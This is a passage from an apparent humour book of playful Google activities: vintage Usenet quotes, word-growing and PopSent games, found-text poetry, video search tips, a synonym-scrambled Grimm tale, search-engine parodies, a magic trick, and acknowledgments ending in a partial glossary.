The WWW project merges the techniques of information
retrieval and hypertext to make an easy but powerful global
information system. ... The project started with the
philosophy that much academic information should be
freely available to anyone. ... The web contains documents
in many formats. Those documents which are hypertext,
(real or virtual) contain links to other documents, or places
within documents. All documents, whether real, virtual or
indexes, look similar to the reader and are contained within
the same addressing scheme.
– Tim Berners-Lee in alt.hypertext, August 6 1991
Douglas Adams Discovers the Net
Yeah, having jut discovered the Internet, I’m anxious that
I’m going to be spedning far too much time on it!
– Douglas Adams in alt.fan.douglas-adams, October 5 1993
Amazon CEO Looking for Help
Well-capitalized start-up seeks extremely talented
C/C++/Unix developers to help pioneer commerce on
the Internet. You must have experience designing and
building large and complex (yet maintainable) systems, and
you should be able to do so in about one-third the time
that most competent people think possible.
– Jeff Bezos in mi.jobs, August 22 1994
Friends, the New TV Show
This show is about 6 young friends living in the city. Time
will tell how much they are individuals and how much they
are merely caricatures. TV Guide tends toward the latter
view and also suggests it is, like ‘Ellen’, somewhat of an
attempt to copy ‘Seinfeld’. There may be some truth to that
statement (part of the opening credits sequence is similar in
style to ‘These Friends of Mine’) but Friends is not a clone
of either of those shows and I think TV Guide was overly
pessimistic. There is plenty of room for several shows in
45. Google Groups, Time Machine
187
this genre.
– John F. Carr in rec.arts.tv, September 26 1994
What’s Yahoo?
I have heard mention of a search utility called ‘yahoo’ on
some of my lists. Can anyone tell me what this is and
where I can find it?
– Ktrent in bit.listserv.help-net, January 17 1995
EBay Founder Promotes New Site
...www.ebay.com/aw/ ... All items are offered by the
individual sellers, and anyone is free to bid on any item, or
to add items, free of charge.
– Pierre Omidyar, misc.forsale.non-computer, September 12 1995
Google Too Cluttered
Google replaces the simple vote-count with an opaque
percentage, adds an unhelpful bar-graph for each response,
etc etc etc. ... Also, Google’s search-page is bogged down
with ridiculous amounts of history/ theory/
acknowledgements, making it load much slower, and
menus that aren’t really relevant for me.
– Jorn in comp.infosystems.search, April 1 1998
55 Ways to Have Fun With Google
188
46. Growing a Google Word
You can grow yourself a Google word, letter by letter, starting with any
seed. Here are the rules to make it work.
Take any letter, or a couple of letters. Say, “bo.” This is your seed
word.
Now check the Google results for “boa,” “bob,” “boc” and so on for
all letters in the alphabet. Checking this letter by letter yourself is
tedious, but you can automate this using FindForward (see
findforward.com/?t=letter … be patient when using this tool because it
needs to check Google several times to return the results). Here’s what
we get:
boa = 654,000
bob = 13,400,000
boc = 876,000
bod = 536,000
boe = 303,000
bof = 213,000
bog = 8,390,000
boh = 126,000
boi = 269,000
boj = 133,000
bok = 649,000
bol = 601,000
bom = 652,000
bon = 2,760,000
boo = 832,000
bop = 503,000
46. Growing a Google Word
189
boq = 21,600
bor = 604,000
bos = 800,000
bot = 1,600,000
bou = 141,000
bov = 186,000
bow = 2,030,000
box = 56,400,000
boy = 9,610,000
boz = 205,000
bo0 = 8,610
bo1 = 14,500
bo2 = 19,200
bo3 = 11,800
bo4 = 6,430
bo5 = 11,600
bo6 = 11,000
bo7 = 9,490
bo8 = 4,820
bo9 = 5,100
The one result with the highest page count in Google, you’ll grow
again – until you’re either satisfied with the word, or you don’t get any
more results for it. The seed in our example, “bo,” has the most result
pages for “box.” Of course... that’s a common word. “Bob” is also
quite popular because it’s a name. (Other combinations, like “boz,” are
much less popular.) Now you continue with “box.” The most popular
continuation here is “boxe,” probably because it means “box” in
French. “Boxe” continues to grow into “Boxer,” and I’m satisfied with
this result so I won’t grow it again. The seed word, bo, has grown into
a boxer.
Similarly, “g” turns into “good,” “h” into “have,” and “my” into
“myself.” The letter “a” turns into the more cryptic “attori.”
You can also grow numbers. For example, a 1 grows into a 100000.
1900 grows into 190000. 55 to 5500. If you use 194 as seed number,
you can grow it to 1945 – the year World War II ended.
55 Ways to Have Fun With Google
190
47. Most Popular Words, and PopSents
Which words are the most popular? Which words are most used
online? We can find out by searching Google for every word in a
dictionary – and then comparing the resulting page count for every
word. Doing this, here are the 50 most popular English words. Before
you take a look, can you guess which words will be on top?
(Of course, the data is slightly skewed, because the approach does not
take into account how often a word appears on an individual page.
This can give a slight boost to words which appear often on pages, but
also mostly only once, like “copyright” or “home”.)
1. the
2. of
3. and
4. to
5. a
6. in
7. for
8. on
9. home
10. is
11. by
12. all
13. this
14. with
15. about
47. Most Popular Words, and PopSents
191
16. or
17. at
18. from
19. are
20. us
21. site
22. information
23. you
24. contact
25. an
26. more
27. new
28. search
29. that
30. your
31. it
32. be
33. as
34. page
35. other
36. have
37. web
38. copyright
39. not
55 Ways to Have Fun With Google
192
40. can
41. our
42. use
43. news
44. will
45. privacy
46. help
47. one
48. rights
49. we
50. if
And here are the least popular words from the dictionary used:
Bowdlerise, baccarra, legitimatise, clothesbasket, pauperise,
muckheap, disembroil, gaolbird, hedgehop, chimneybreast,
underquote, lughole, overcapitalize, acknowedgement,
telephotograph, rumourmonger, undernourish, shopsoiled,
chopfallen, clarts, halfpennyworth, forrader, outmarch,
ropedancer, stomachful, reafforest, mercerize, cardpunch,
maulstick, fingerstall, outridden, latinise, popadum,
dustsheet, winceyette, straphanging, jewelelry, palankeen,
skidlid, nasalise, heelball, coalscuttle, iodise, hipbath,
counterattraction, chatey, remilitarise, chifonnier,
disendow, cowheel, overcapitalise, roodscreen, salify,
slenderise, macadamise, scrumcap, borshcht, velarize,
transistorise, checkrail, longhop, chapelgoer, lanternslide.
So there we have the most and least popular words. But what about
full sentences? We can’t find them automatically, unless we search for
all word combinations – which would take forever. And because it’s
impossible to automate, people created a game for this: PopSents.
PopSent is short for “popular sentences.” The goal of the game, which
was invented by Larry Tapper, is to create a real and meaningful
47. Most Popular Words, and PopSents
193
sentence which returns the most results in Google (compared to other
sentences of the same word length).
For example, the sentence “I am hungry” (entered in quotes) returns
311,000 results. Not a lot when you consider how many pages Google
has. So let’s try something which might yield some more results: “I was
born,” which returns almost 8 million result pages – much better
already.
The PopSents homepage (somethinkodd.com/popsents/) lists some of the
most popular sentences found in a high-score table. Can you beat
those?
3 Word Sentences
• “What’s new”
• “You don’t”
• “I don’t”
• “You will be”
• “It is not”
4 Word Sentences
• “I don’t know”
• “Click here for more”
• “This page uses frames”
• “Click here to see”
• “Do you want to”
5 Word Sentences
• “You don’t have to”
• “Click here for more information”
• “I don’t want to”
• “Tell us what you think”
55 Ways to Have Fun With Google
194
6 Word Sentences
• “Your browser doesn’t support them”
• “Email this page to a friend”
7 Word Sentences
• “tell me when this page updated”
• “an error occurred while processing this directive”
• “your use of this website constitutes acceptance”
8 Word Sentences
• “Trademarks are the property of their respective owners”
• “This site is best viewed with Internet Explorer”
48. Create Google Poetry, Prose, and Collages
195
48. Create Google Poetry, Prose, and Collages
Wanting connections, we found connections – always, everywhere, and
between everything. The world exploded in a whirling network of
kinships, where everything pointed to everything else, everything
explained everything else ...
– Umberto Eco, Foucault’s Pendulum (1988)
Can you write a text, like an essay, using only phrases which have at
least a single result in Google (using quotes in your search)? Or to put
it differently, can you write something using only words that have been
written before – using only thoughts of others? Google prose and poetry is
challenging and fun.
Of course, you need the Google search engine for this. For everything
you want to express, search the first few words and take the completed
sentence. Or think up a simple sentence which you suspect has been
uttered somewhere, and verify this by checking if Google returns
results.
On the following pages, you’ll find my try at that. Afterwards, you can
find out about Google rhymes, and Google collages.
55 Ways to Have Fun With Google
196
A Strange Google Journey
(This is a free speech.
All sentences are quoted...
By using Google’s search engine.
Everything I’ve found using Google.
Every single sentence I write from now on.
Just copy the line and paste it in your browser.
In occasional spots I’ve adjusted punctuation and paragraph breaks for
greater clarity.
Every line belongs to one person.
Every line belongs to one organization.
Remember these are all true quotes.
Including the headline of the article.
Including this first paragraph.
I know you can google it yourself. Sometimes we lack in content, but
we compensate with style.)
So, what is the meaning of life, really?
And are blogs going to ‘usurp’ big media?
(Big Media – as in ‘Big Media, the homogenous monolith’.)
You realize, of course, that this may be the most dangerous part of
our journey. Or any journey you’ve ever taken.
And so the Google journey began.
48. Create Google Poetry, Prose, and Collages
197
I wanted to write a text that is relevant so as to show students how
physics applies in their everyday world.
I mean, everyday I go and I do things because I have to.
We all are forced to suppress our natural response to stress.
These days everybody wants a winner and athlete’s are forced to or
willing to do whatever it takes to win.
Mind you, the winner would have to fight Brian my killer radish.
OK, before this turns into another soap opera, we have seen email that
a security site is down, and that is enough.
To Explain How to Answer a Call from Space.
Or rather, to explain the many elements that go into arranging and
performing good tango music.
Seriously, this is all so awesome - thank you so much for finally making
it easy for us to do something we’ve wanted to do for so long.
This text is actually a combination of computer-driven exercises.
This text is actually a blank Flash movie that has the text from the H1
tag pumped into it.
All it takes is Google to find them.
Of course, using random sentences wouldn’t make a very good Italian
sonnet.
Then again, Italians have long joked about being a nation of “saints
and explorers,” and space is, after all, the final frontier.
So, what is the “final frontier” in emulation technology?
Or technology in general as a means of saving education.
What is the final frontier? Ask any scientist and the likely answer will
be “the ocean.”
So, how does this work? Let us start with basic facts.
The function set made available to the genetic programming search for
each sentence needing repair is derived from the set of partial analyses
extracted.
I wanted to write a poem... but I didn’t.
‘Opus’ means a ‘work or construction’.
I guess I wanted to write about what we all want and can never have –
the ability to rise above our lives.
After all, life has something serious in it.
Though not the kind of seriousness that sits heavily on the soul like
puritan theology.
Not the kind of seriousness that seems to come along with a Billy
Graham sermon, “This is your only chance!”
55 Ways to Have Fun With Google
198
I just type the exact name of what I’m looking for, and start the
search. Old Google hasn’t let me down yet, I’ve found some real off
the wall things.
I’m using google to post messages.
I’m using Google to think of stuff.
This is not everyday stuff here.
I mean, it’s more complicated than that, but my point is...
I mean it’s more like team work.
Success on the Web is a team effort.
A team effort that took the Brazilian men to victory.
What can be accomplished with a team effort that cannot be
accomplished with individuals working separately.
Teams are unique, no two work exactly alike.
Teams are unique because they are comprised of young adolescents
utilizing community technology centers as laboratories for their work.
The Web revolution is not about computers or technology.
What is the World Wide Web, really? What they know about you.
But who are they, exactly? What is their training, and what help can
they offer you?
What is the web supposed to be? A resource for good quality content.
What is it the search engines are supposed to favor?
I believe search engines are still the ultimate form of advertising in
terms of both the time and financial investment required.
Advertising today means working with electric e-commerce and
traditional creativity, exploring the best possibilities.
Truth is or at least should be a basic principle in advertising as in all
communication.
And this is just as important – if not more so – in online advertising as
in any other marketing tactic.
That’s because tactics are but means of achieving strategic objectives.
So, always plan strategy first.
Can you do a Full Corporate Murder Mystery for us?
Can you climb the Latin Mountain 1,000,000 M high?
How well can you use the web?
How well can you follow directions?
How well can you Spell?
How well can you write?
Questions. Nothing but questions, and unfortunately for the Indiana
women’s water polo team, there are still no answers.
Sounds crazy? Well, yes. Yes, it does.
48. Create Google Poetry, Prose, and Collages
199
It’s crazy, because these will just write themselves since I’ve spent so
much time thinking about them.
Language, metaphor, sentences out of nowhere, as if this miracle is
something more – religious, blinding.
A rectangular matrix is populated with these words in random
positions and directions.
Not Matrix the movie. I wish I hadnt given them my money.
The Matrix – that is, the world.
Our World, Your World, Europe in the Service of Globalisation with a
Human Face.
This is not the “old Europe,” as Rumsfeld says.
Come on, Rumsfeld is right – freedom is untidy!
(Everything I know I plagiarized in high school.)
Google is just so smart. Conversions, phone number lookups.
Real live conversations that surround me all day.
Every sentence you read or book that you flip through will affect your
writing, just as every place you go and lesson you learn adds to the
whole of your person.
Not only Google but also specialist search engines – plus the ones in
between like Teoma.
I’m using quotes here a bit cynically.
Now I’ve written myself into a corner. At the heart of these
“revelations” is truth. Yes, I’m using quotes.
Google this, Google that, Google Google Google.
(Google this, Google that. Is it always the best search engine? No.
For past two months, all we have heard is Google and nothing else in
Silicon Valley.
Search engines are not the only means whereby people find sites.)
How else do you think the Dolphins escaped the Vogons?
Humanity needs to understand the Universe to survive. How many of
us actually realize the importance of the present moment in the human
history?
Humanity needs to know!
Humanity needs to make fundamental changes in how they live in,
relate to and understand the world.
Just like dolphins we are of like mind and yet very individual in what
each of us brings to the pod.
As living beings, we are woven into the web of life, just as all other life
forms are woven into that web.
We are pure energy and totally interconnected with other living beings.
55 Ways to Have Fun With Google
200
The Web makes it possible to assemble and integrate all those
components into the text itself.
Because it is time, the eyes open, the body stands up, the hand
stretches out, the fire is lit, the smile contends with night’s wrinkles.
We grab what we think (what we hope) will fill our yearnings.
And in our hands, we will leave something as a legacy for society.
Evolution wants us to believe that species progress an infinite ladder
upward.
We only act because the evolution wants us to spread our genes.
How can the dream of absolute liberty and the reality of absolute
interdependence be resolved while our genes survive?
Will we survive if we lose two games, three games, maybe even five?
Especially in the last decade, liquidity, simultanaety, transparancy, and
access for all bring to the ring not only the fittest of the fleet thinkers
In fact, the best of us are generalists who know a little about many
things.
It’s all about knowledge and learning. It’s what I relish. It’s how I live
my life.
Divine life wants to learn first and then enjoy.
Life wants to help you to develop to your fullest potential, scoping out
your options as you decide where you can contribute.
So next time you think of the cashier at the bank as other, when you
see your parents or spouse as other, remember what you’re doing to
yourself.
If we are all striving to develop ourselves spiritually, then we should
have something constructive to discuss.
Society these days has lost the lack of “communication” in the
community, so we rely on the government to help us out instead of
each other.
But society cannot transform the individual; it is the individual who
can transform society. By negating the individual, it negated its own
success.
With these things in mind, you should be just about ready to embark
on your very own web logging journey.
If not in a blog, then in one of many possible ways.
May you always remember: those lives you have touched and who have
touched yours are always a part of you.
48. Create Google Poetry, Prose, and Collages
201
Google Rhyming
An advanced variant of this game is to write poetry in rhymes. To
write a Google rhyme, start off with any sentence. Like “I’m writing a
book on love.” Now you need to find the next line in Google, but it
must rhyme on love. So you take a rhyme dictionary (www.rhymezone.com)
and check what rhymes on “love.” You’ll find the words “dove,”
“glove,” “shove,” “above” and more. Now you replace all words in the
original line except for “love” with the wildcard character asterisk “*”
and search Google using quotes. In our case:
The first line is: “I’m writing a book on love”
So we search for: “* * * * * above”
This returns, among other lines, “room rates for the Inn Above.” So
with some creative words in-between we get:
I’m writing a book on love
And room rates for the inn above
... and we continue this approach until the poem is finished.
55 Ways to Have Fun With Google
202
Creating Google Book Search Collages
Yet another way to recreate the words of others to produce
something new is to use Google Book Search (books.google.com).
Just think of a part of a sentence and then find it in a Google
Book Search. Copy the highlighted text and its immediate
surroundings into a paint program. The result is now made up of
a variety of different books, and looks like this:
Don’t read every word – read only the highlighted texts to get the meaning.
49. Funny Google Videos
203
49. Funny Google Videos
Google Video (video.google.com) is Google’s video service where you can
upload your own videos, or watch videos uploaded by others. You’ll
find anything from homemade college humor videos to short clips of
Family Guy.
(If you can’t watch the videos in your country, you can download the
“FLV” files at the Google Video Downloader [www.55fun.com/49.2] site.
The Google Video Downloader site also lets you see what others
found worthwhile downloading, so it’s a good place to find funny or
interesting video.)
Here are some searches which might result in fun videos at Google
Video.
Overworked Guy
Search for: overworked
You might find: A funny Asian clip of a couple in a restaurant. She
complains he is spending too much time in front of the computer. I
won’t spoil what he does next...
Drunk Adults
Search for: drunk
You might find: Drunken people. (Which incidentally often makes for
funny people.)
55 Ways to Have Fun With Google
204
Highschool Dance
Search for: “high school” dance
Or search for: “high school” music
You might find: Incredible break-dancing. Or: an amateur dance
group performing their Led Zeppelin choreography.
The Blue Man Group
Search for: blue man
You might find: The blue-skinned performance group which became
famous in the Intel commercials.
Random Pranks
Search for: prank
You might find: All sorts of pranks, like a kid doing a prank phone call.
Costumes
Search for: costume
You might find: People dressed up in funny costumes – such as a
Halloween dinosaur.
Humor
Search for: satire
Or search for: humor... funny... parody... sketch... fun...
You might find: People trying to play a sketch, play a prank, surprise
someone or similar things.
Comedian
Search for: comedian
Or search for: comedian... stand-up... joking... joke... seinfeld... conan...
You might find: People telling jokes, like stand-up comedians or talk
show hosts (e.g. Mitch Hedberg on the David Letterman Show).
49. Funny Google Videos
205
Cartoons
Search for: family guy
Or search for: simpsons...
You might find: Short funny clips from the TV shows… like the Kool
Aid Man making a surprise entrance.
Martial Arts
Search for: karate
Or search for: jiu jitsu... tae kwon do... judo... boxing... martial arts
You might find: Amateur recordings of martial arts performances or
trainings. There’s also an incredible Karate chimp waiting for you.
Napoleon Dynamite
Search for: napoleon dynamite
You might find: People dancing the dance from the end of the movie
“Napoleon Dynamite” (some while wearing “Vote for Pedro” shirts).
You can also see the “real” Napoleon Dynamite, Jon Heder, promoting
the Utah State Fair. And then there’s “Jamison Dynamite: The Return of
the Star Wars Geek.” (A similar dance to the one Napoleon performed
can be found searching for “Spiderman dancing,” by the way.)
Amateur Singing
Search for: karaoke
You might find: Badly sung songs.
The Numa Numa Song
Search for: numa numa
You might find: Parodies of the parody of the “Numa numa” song by
O-Zone.
55 Ways to Have Fun With Google
206
Best of Cats
Search for: funny cats
You might find: A “best of” collection of funny cat clips that made its
way around the internet.
The Star Wars Kid
Search for: star wars kid
You might find: A now famous amateur movie of a Jedi solo battle
performed by an overachieving teen. (This was one of the many
“memes” which took off at Andy Baio’s Waxy.org.)
American Idols
Search for: american idol
You might find: Amateur singers, once again – including two-week
wonder William Hung who said, “I want to make music my living.”
Enter the Matrix
Search for: matrix ping pong
You might find: Two table tennis players in an amazing Matrix-like
match.
Jerry Springer Talk Shows
Search for: jerry springer
You might find: “Darling, I’m a man, and not a woman” – clips taken
from the infamous talk show which often happens to be more about
fighting than talking.
Strange Weather Forecasts
Search for: weatherman
Also search for: weather man
You might find: Public broadcasts of rapping and dancing weather
men. Or a weather man who suddenly starts swearing at Fox.
50. The Realplayer Fish, or: Telling a Story in Synonyms
207
50. The Realplayer Fish, or: Telling a Story in
Synonyms
Google has a nice synonyms feature built right into the main search
engine. Using the “~” (tilde) operator preceding a word, you can search
not only for the word itself but similar words as well. These aren’t
always synonyms (in the sense that they are different words with the
same meaning); they are often simply related words with a different
meaning.
To find out all the synonyms Google stores for a word, you can enter
the word using the synonyms operator, but then exclude the word
afterwards using the minus operator. Like here for the word “home”:
~home -home
Since Google now can’t show you results with “home,” it must show
you synonyms of home only. Those will be rendered in bold. If you
want to find all the synonyms for a given term, you can continue
excluding the synonyms you find until you hit an end and no more
results are returned, like this:
~home -home -official -house -interior -homer -real-estate
That’s already interesting, but you can also abuse Google synonyms.
How? Just replace every word in a given story with Google’s first
synonym for that word! Of course, that’s a boring task to do manually
so I automated it. You can use the Synonym Storyteller tool
(www.55fun.com/synonym/) to copy and paste your story. Hit submit, and it
will be rendered in its synonyms for often surprising (and often, just
nonsense) results.
As an example, here is the beginning of a fairy tale by the Brother’s
Grimm. It’s called The Fisherman and His Wife and I will present a part of
it first in its original wording, and afterwards, in a version which has
been changed by the Synonym Storyteller (for the full tale, see
authorama.com/grimms-fairy-tales-10.html).
The Fisherman and His Wife: The Original
There was once a fisherman who lived with his wife in a pigsty, close
by the seaside. The fisherman used to go out all day long a-fishing; and
one day, as he sat on the shore with his rod, looking at the sparkling
waves and watching his line, all on a sudden his float was dragged away
55 Ways to Have Fun With Google
208
deep into the water: and in drawing it up he pulled out a great fish. But
the fish said, “Pray let me live! I am not a real fish; I am an enchanted
prince: put me in the water again, and let me go!” “Oh, ho!” said the
man, “you need not make so many words about the matter; I will have
nothing to do with a fish that can talk: so swim away, sir, as soon as
you please!” Then he put him back into the water, and the fish darted
straight down to the bottom, and left a long streak of blood behind
him on the wave.
When the fisherman went home to his wife in the pigsty, he told her
how he had caught a great fish, and how it had told him it was an
enchanted prince, and how, on hearing it speak, he had let it go again.
“Did not you ask it for anything?” said the wife, “we live very
wretchedly here, in this nasty dirty pigsty; do go back and tell the fish
we want a snug little cottage.”
The fisherman did not much like the business: however, he went to the
seashore; and when he came back there the water looked all yellow and
green. And he stood at the water’s edge, and said:
“O man of the sea!
Hearken to me!
My wife Ilsabill
Will have her own will,
And hath sent me to beg a boon of thee!”
The Fisherman and His Wife: The Synonym
Version
There was once a fisherman who lived with his daughter in a pigsty,
closing by the seaside. The fisherman for sale to british out all holiday
longest a-fishing; and 1 holiday, as he sat on the shor with his rodd,
looking at the sparkling waves and watching his liner, all on a sudden
his floating was dragged a way deep in to the water: and in cartoon it
ups he pulled out a greater fish. But the fish said, “Pray letting
millennium live! I am not a realplayer fish; I am an enchanted prince:
putting millennium in the river again, and letting millennium go!” “Oh,
ho!” said the manual, “you needing not build southern many dictionary
about the matter; I will having nothingness to does with a fish that
canned talk: southern pool a way, immigration, as soon as you please!”
Then he putting him back in to the river, and the fish darted straight
50. The Realplayer Fish, or: Telling a Story in Synonyms
209
down to the bottom, and leftist a longest streak of blood behind him
on the surf.
When the fisherman went official to his daughter in the pigsty, he told
her how he had caught a greater fish, and how it had told him it was an
enchanted prince, and how, on listening it learn, he had letting it british
again. “Did not you asking it for anything?” said the daughter, “we
radio cool wretchedly hear, in this nasty funny pigsty; does british back
and telling the fish we want a snug tiny cottage.’
The fisherman mpd not muchmusic like the business: however, he
went to the seashore; and when he come back there the river looked all
business and environment. And he stood at the water’s little thrill, and
said:
“O manual of the sea!
Hearken to me!
My daughter Ilsabill
Will having her build will,
And hath sent millennium to beg a boon of thee!’
55 Ways to Have Fun With Google
210
51. Google Parodies
Not all sites that look like Google are Google. Though there are some
official humor-powered Google sites (like Google Klingon, Elmer
Fudd Google, or “Google Pigeon Rank”), the following screens are all
unofficial:
Aloogle searches all things Weird Al Yankovic.
Koogle is “the kosher search”… a “Jewish” search engine.
51. Google Parodies
211
Elgoog is Google... backwards (today, with a turkey for Thanksgiving).
Fo’ shizzle my nizzle... Gizoogle is a gangsta-rap flavored Google.
55 Ways to Have Fun With Google
212
Toogle is a mix between Google parody and ASCII-art creator... enter any search
term and a related image will show drawn with letters only.
Booble is censored here. This search engine had the honor of getting contacted by
Google’s Senior Trademark Lawyer, and was later on renamed to “Bible.”
51. Google Parodies
213
Spam Google finds nothing but spam. It’s just like Google, without good results.
The Google FBI & CIA search. (By Semmelbroesel.)
55 Ways to Have Fun With Google
214
Google April Fool’s search was released on April 1st, 2004 as seemingly official
Google search – it searches only pages related to April Fool’s.
Cthuugle, the complete HP Lovecraft Search Engine.
51. Google Parodies
215
You can search 0 web pages with Google Zen. You might prefer hitting the “I’m
feeling” button... (By XlBrooklyn.)
“Ghoul” searches for brains only...
55 Ways to Have Fun With Google
216
Google circa 1960. “Please print query clearly... mail to Google Search Request...
and allow four to six weeks for results” (By Google employee Kevin Fox.)
UnderGoos is a search engine for underwear.
Note: You can find the search engines shown here by searching for their title
in Google – Aloogle, Koogle and so on (this is their “Googlonym,” or
“Memomark”… a bookmark that is a Google search). Sometimes, only a mockup
exists, and not a full-fledged search engine.
52. The Google Images Prediction Trick
217
52. The Google Images Prediction Trick
This is a fun magic trick to fool your friends, colleagues or family.
Here’s how it appears to everyone around you:
• You open up Google Images and demand, “John, think of
something.”
• Your friend John says “I think of a yellow house.”
• You type “What is it that John thinks of?” into Google Images,
hit return, and boom – there are yellow houses in the results!
How It Really Works
Of course, neither Google nor you can predict the future or read your
friend’s mind (I assume!). So what’s really happening? Just how can
Google display yellow houses?
Because you told it to! The trick is incredibly simple: start by going to
the fake Google homepage (www.55fun.com/52). Now though it appears as
if you are typing “What is it ...,” you actually type a slash “/” first. This
starts hiding what you really type and replaces it with “What is it ...”. So
now, you type yellow house or whatever it is your friend mentioned.
Finally, hit the slash key again and you can continue to type normally to
enter the name of your friend or something similar.
Before you perform this trick in front of friends, make sure you practice
it a little. If you do, your friends will not suspect a thing.
Note that if your friends are very tech-savvy or easy to get suspicious,
you should replace the browser address – which reveals it’s not the real
Google – with the actual Google Images URL (without hitting return in
the address bar, of course, because you don’t want to leave the trick
page).
55 Ways to Have Fun With Google
218
53. Fun With Google Translations
There are many useful things to do with the Google Translator (you’ll
find it by clicking on “Language tools” next to the Google search box),
but I won’t discuss any of those here. Instead, I’ll show you how to
have fun creating nonsense texts by translating something back and
forth!
Here’s what to do. Pick any English text you like. Now paste it into the
Google translator. Choose to translate it from English to French. Now
copy the French translation into the box, and translate it back to
English. Repeat for another round, and check what you’ve got.
The following example is the first paragraph from the White House
George W. Bush biography:
George W. Bush is the 43rd President of the United States.
He was sworn into office on January 20, 2001, re-elected
on November 2, 2004, and sworn in for a second term on
January 20, 2005. Prior to his Presidency, President Bush
served for 6 years as the 46th Governor of the State of
Texas, where he earned a reputation for bipartisanship and
as a compassionate conservative who shaped public policy
based on the principles of limited government, personal
responsibility, strong families, and local control.
What happens after translating it to French and back for two rounds?
This:
George W Bush is the forty-third chair of the United
States. One swore to him in the office January 20, 2001,
was re-elected November 2, 2004, and interior sworn in for
a second limit January 20, 2005. Before his presidency,
President Bush was useful during 6 years like the fortysixth
governor of the state of Texas, where it gained a
reputation for the bipartisanship and like the conservative
to sympathize who formed the law and the order based
according to principles’ of the limited government, the
personal liability, of the strong families, and of the local
order.
54. The Giant Google Painting
219
54. The Giant Google Painting
I’m not sure exactly what inspired artists Sembo and Yae of the artist
group Exonemo (www.exonemo.com) to create a giant “landscape”
painting of the Google homepage, but the results are interesting. The
project started in December 2003, and was exhibited from February to
April 2004 in Tokyo’s Mori Art Museum. In Exonemo’s words, the
painting is “an analogization of a digital object.” The digital is
converted to the analog, but the analog is also converted back to the
digital – because in his installation, Exonemo directed a webcam onto
the painting and streamed the painting (and visitors around it) back
online.
The following images are courtesy of Exonemo and document both
the creation and exhibition of the project:
The concept sketch of the painting….including the “I’m feeling lucky” button, of
course.
55 Ways to Have Fun With Google
220
The painting is being created. A lamp illuminates the scene, and we can see the
Google logo is still missing.
54. The Giant Google Painting
221
The painting is up.
55 Ways to Have Fun With Google
222
Two visitors look at a projection from the camera.
A webcam snapshot from the exhibition.
54. The Giant Google Painting
223
Did anybody buy the painting? Yes, indeed – and no other than Google Inc
themselves! Above you can see the painting being carried into the Google Japan office.
55 Ways to Have Fun With Google
224
55. Googledromes
What’s a Googledrome? It’s a search on Google.com which yields the
same top result no matter if it’s spelled forward or backward. A
Google palindrome, if you will, but the search itself may not be a
perfect palindrome or consist of palindromes (the query must not stay
the same in reverse, e.g. “rats live on no evil star” doesn’t count, and
also no two words in the query may be the reverse of each other, e.g.
“palindrome emordnilap palindrome” doesn’t count).
Further rules are that the search may contain only letters and numbers,
and that there must be at least two letters in it (and at least two letters
for every word in the query as well). Also, the result page may not in
any way be prepared to be a target of this challenge.
Dave Pettit discovered the first Googledrome ever on March 15, 2006:
it was Oprah… because a search for “oprah” and “harpo” (which is
Oprah in reverse) returns the same number 1 result, oprah.com.
Can you find a Googledrome?
Acknowledgments
225
Acknowledgments
Thanks to all Google Blogoscoped readers who keep the blog running
full steam with their tips and pointers in the forum, or by email*.
Thanks to Iolaire McFadden for supporting me a great deal with
formatting this book. Mark Draughn for English lessons, valuable
feedback on this book, and adding bits and pieces here and there.
Thanks to family and friends for the support; Justin Pfister, Tony
Ruscoe, and Judith Lenssen for helping out with the book; everyone
who provided material for this book, answered my questions, or
allowed me to republish bits and pieces, including Jamie Grant, Douwe
Osinga and Exonemo. Gary Price, Danny Sullivan, John Battelle,
Nathan Weinberg and Miel Van Opstal for being great searchblogging
buddies. The people who keep Google running, because frankly this
book wouldn’t exist without them. Markus Renschler and David Vise
for helping on publication approaches. The beta readers for betareading,
and the wiki writers of chapter 14. And thanks to Shan for
disturbing me while writing!
*The top forum members as of April 2006 were /pd, Caleb E, Sam Davyson, Ionut Alex. Chitu,
TOMHTML, Corsin Camichel, Tony Ruscoe, Justin Pfister, dpneal, Travis Harris, Brian Mingus,
Niraj Sanghvi, Splasho, Ludwik Trammer, OREO, Brinke Guthrie, Andrew Hitchcock, Haochi,
Yannick Mückenhirn, Kimspitstop.dk, or, Wouter Schut, Faderale, Josue R., Ades, Elias KAI,
Nathan Weinberg, Support Freedom!, justin flavin, alek, orli yakuel, Pierre S, Utills, Milly,
pokemo, Ashman, CJ Millisock, Tadeusz Szewczyk, Search-Engines-Web.com, Nate, Miel, Artem,
Mark Draughn, Anthony Pennington, Hanan Cohen, SCJM, Iolaire McFadden, KenWong, Seth
Finkelstein, Sale, Kirby Witmer, Bratsche, BrianS, Dimitar Vesselinov, Zoolander, Jason Schramm,
RC, Hashim, Luca, pacificdave, Roger Browne, Garett Rogers, Ramibotros, Brian Brian, Jon
Henshaw, Personman, Piotr Zgodzinski, Phil Defer, Daniel Brandt, Nanaki, Joey J., Kevin Fox,
Natey, Richard M, George R, Corni, Sunil, Rich Hodge, John K, Tiago Serafim, Digital
Inspiration, Veky, david sanger, bernis, jtdgrz, Pau Tomàs, Alterego, Hatem, Cow, Suresh S,
Martin Wang, ardief, GamingFox, Shaun Robinson, Michael Schaap, Manu, Adam B., and
Michael Fagan. Thanks guys!
55 Ways to Have Fun With Google
226
Glossary
API Application Programming Interface (and other meanings); a library for
programmers to more easily achieve certain tasks.
Backlink A link pointing from someone else’s web page back to the
page in question (e.g. your page). Usually the more (relevant) backlinks
a page receives, the higher it ranks in Google for certain search queries.
BackRub The name given to the precursor to Google.
Blog A blog or weblog is an online news journal usually written by a
single person or a small group, covering any imaginable subject. New
entries are posted on top, often with a way to comment on the entry.
The blogosphere or blogspace on the other hand is the “universe” of
all blogs. Splogs are “spam blogs” which copy content from elsewhere
to make money with ads. Vlogs are video blogs, and podcasts are bloglike
audio shows that can be downloaded to the iPod or other MP3
players.
Cookie On the web, a small data file a website saves on your
computer through your browser. This file is used to memorize e.g. a
log-in status, or to better understand your browsing behavior.
Data center A Google data center is a group of servers delivering
specific search results to you.
Deep web The kind of websites that are usually hidden from free
search engines (either because they are paid content, or because the
search engines do not understand how to crawl these sources).
Egogoogling To search for one’s own name in Google. (Also:
autogoogling, egosurfing.)
Google Google means either Google Inc., the company, or Google
the web search engine, or – as in “to google” – it’s a verb meaning “to
search.”
Google Algos A short-hand for “Google’s algorithms,” meaning the
technical specifics of how Google ranks its result pages (the details of
which are only really known to those who work at Google).
Google cache Google makes a copy of every website and allows
searchers to view these copies (unless the webmaster prevents this with
the “robots.txt” file, or so-called meta-tags).
Glossary
227
Googlebomb A link campaign trying to discredit a group, company
or person. Repeated links with the same link text are used to connect a
negative Google search to a certain web page.
Googlebot This software program crawls (or “spiders”) the web for
